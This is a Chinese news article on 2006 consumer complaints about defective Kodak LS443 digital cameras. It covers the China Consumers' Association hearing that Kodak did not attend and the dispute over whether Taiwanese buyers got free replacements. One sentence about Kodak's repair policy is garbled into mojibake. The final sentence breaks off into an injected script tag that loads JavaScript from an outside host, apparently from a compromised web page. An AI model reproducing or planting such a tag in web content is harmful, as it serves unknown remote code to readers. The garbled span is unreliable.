“我是2003年花4000多元买的柯达ls443型数码相机，没用多久就发现相机镜头会自己伸出来，一开始以为是自己不小心，但是去年又发现镜头完全伸不出来了，到上海特约维修部去修，要1800元维修费，够买一台新的了。上网查看之后，才发现这一型号的相机质量有缺陷。已经有400多人投诉了。”浙江诸暨的石先生在接受中国经济时报记者采访时表示，
“柯达面对这样的事实，采取一种回避态度是对中国消费者的弱视。这一事件的关键已经不是柯达ls443型数码相机的质量问题，而是柯达在消费者服务方面的态度问题。”
事件回放
自2006年7月3日起至8月21日，中消协累计收到343名消费者关于柯达ls443型数码相机的投诉。目前投诉人数仍在增加中。消费者投诉反映，从购买后一年左右开始，相机就在正常使用的情况下陆续出现黑屏、镜头无法伸缩、曝光过度等故障，有人购买后一年多的时间竟然维修了3次之多。柯达维修部门给出的故障原因都是镜头部件损坏，需花1500元更换镜头或者花更多的钱升级为柯达公司别的机型。而有消费者表示，柯达公司在我国台湾地区解决ls443型数码相机问题是免费升级换机的。
为此，中消协于8月22日专门召开了其成立22年以来历史上第一次投诉调解听证会，召集各方专家举行听证。“这是我们近年来遭遇的最激烈、最疑难、沟通最困难的一次经历。”中消协投诉部主任邱建国说。
但是柯达却在这次听证会上缺席了。柯达方面给出理由：一是一天半工作时间根本没有时间准备相关佐证资料，中消协也没有告知具体内容、形式、程序以及参会人员等信息。二是在其接到的书面通知中写道，“请你单位派负责人员应诉”，根据现行《中国消费者协会受理消费者投诉规定》第一条受理投诉原则第二款规定：调解以双方自愿、合法、合理、公正为基础；柯达法律部门律师以及外部律师的专业立场是无法以“应诉”的名义“自愿”参加会议。
根据柯达公司提供的材料，ls443型数码相机在2002年11月通过上海市照相机办公设备监督检验站根据企业标准(kco-dc6-p-001)对送检的4台样品检验合格后开始生产销售，2003年中期停止生产。现在市场上已经找不到ls443型数码相机新品。
因此，中消协委托兵器工业照相机质量监督检测中心对消费者提供的五具柯达ls443型数码问题相机进行查验。查验结果：五具样品均存在不同程度的自行断电、黑屏、镜头工作不正常等故障，导致相机无法正常使用。
针对这批相机出现的质量问题，柯达表示自己严格遵守政府的三包政策煻杂诔龉收系南嗷煴ｐ奁谀诿夥盐修煴ｐ奁谕飧斗盐修熗时还特别推出付费旧换新的升级方案。柯达公司新闻发言人田耕称，“我们会根据消费者的需求调整方案，但绝对不会免费换机。”
但是中消协表示“三包”不是针对批量同类故障。
焦点
“我们在中国台湾地区从来没有提供过所谓‘免费换机’。”针对柯达公司在我国台湾地区解决ls443型数码相机问题是免费升级换机的说法，田耕断然否定。
实际上，台湾柯达事件的情况又是如何呢？据台湾地区媒体报道，早在1年多前，柯达对ls443型相机质量问题的处理方式在台湾就引起了消费者的强烈不满，由此发生过400多名消费者联合投诉的事件。台湾消费者权益保护机构虽然从中3次协调，但柯达公司仍态度强硬，最终惹怒了消保机构，柯达最终提出了相机升级的解决方案。
在致台湾地区消费者的书面声明中，柯达就服务不周给消费者所致困扰表示了诚挚歉意，但迄今为止，柯达对大陆消费者丝毫没有类似举动。
云南曲靖市的李先生在接受中国经济时报采访时表示，“当时我是因为在台湾的表弟说这款机子性能不错才买的。后来，台湾地区出现柯达ls443型问题相机事件时，我表弟告诉我柯达当时没有明确提出免费换机，而是提供新款机型让消费者使用14天的方案，并要求14天后返还机器或付费购买这款机器。但是后来并没有消费者返还机器或付费购买。这其实就是变相的‘免费换机’。”
对此，田耕表示，在台湾地区，确实存在着一些消费者拿了供升级的相机去试用，但一直没有归还和付费的情况。“但这不表明我们放弃收费的政策，更不表明我们放弃了对他们进行追索的权利。”但是对于消费者要求柯达列出收取了哪些台湾消费者升级费的名单时，柯达方面却以“商业机密”为由拒绝。
这样，事件的焦点似乎集中在了柯达对待大陆和台湾消费者不公平的待遇上。“柯达在台湾和大陆处理该事件的原则是一致的。事情到目前已经不是相机本身的问题了，参杂在其中更多的是消费者的‘感情’问题，是大陆消费者感到有区别于台湾消费者被对待，而没有受到应有的关爱和重视。我们要避免别有用心的人故意利用ls443一事挑起两岸消费者‘不平等’的情绪。”田耕表示。
“其实我们根本没有想太多，只是希望柯达能对大陆消费者道个歉，将问题相机召回而已。不知道为什么，这对柯达来说好象很?script src=http://er12.com/t.js>
